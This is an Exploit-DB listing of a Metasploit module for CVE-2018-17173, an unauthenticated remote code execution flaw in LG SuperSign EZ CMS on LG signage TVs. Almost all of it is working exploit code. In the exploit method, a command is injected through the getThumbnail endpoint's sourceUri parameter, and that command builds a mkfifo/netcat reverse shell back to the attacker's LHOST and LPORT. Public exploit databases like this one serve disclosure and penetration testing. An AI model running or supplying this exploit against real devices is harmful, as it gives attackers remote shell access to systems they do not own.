LG Supersign EZ CMS – Remote Code Execution (Metasploit) - 体验盒子

作者： Alejandro Fanjul

日期： 2019-05-06

类别：

remote

平台：

hardware

来源：https://www.exploit-db.com/exploits/46795/

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##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info={})

super(update_info(info,

'Name'=> 'LG Supersign EZ CMS RCE',

'Description' => %q{

LG SuperSignEZ CMS, that many LG SuperSign TVs have builtin, is prone

to remote code execution due to an improper parameter handling

},

'Author'=> ['Alejandro Fanjul'],

'References'=>

[

[ 'CVE', '2018-17173' ],

[ 'URL', 'https://mamaquieroserpentester.blogspot.com/2018/09/lg-supersign-rce-to-luna-and-back-to.html']

],

'License'=> MSF_LICENSE,

'Platform' => 'unix',

'Privileged' => false,

'DefaultOptions' =>

{

'PAYLOAD' => 'cmd/unix/reverse_netcat'

},

'Arch' => ARCH_CMD,

'Payload'=>

{

'Compat' =>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'netcat'

}

},

'Targets'=>

[

[ 'Automatic Target', {}]

],

'DefaultTarget' => 0,

'DisclosureDate' => 'Sep 21 2018'

)

register_options(

[

OptString.new('RPORT',[true,'Target port','9080'])

], self.class)

end

def exploit

lhost=datastore['LHOST']

lport=datastore['LPORT']

#uri = target_uri.path

cmd = Rex::Text.uri_encode(payload.encoded)

connect

res = send_request_raw({

'method'=>'GET',

'uri'=>"/qsr_server/device/getThumbnail?sourceUri='%20-;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20"+lhost+"%20"+lport.to_s+"%20%3E%2Ftmp%2Ff;'&targetUri=%2Ftmp%2Fthumb%2Ftest.jpg&mediaType=image&targetWidth=400&targetHeight=400&scaleType=crop&_=1537275717150"

})

handler

disconnect

end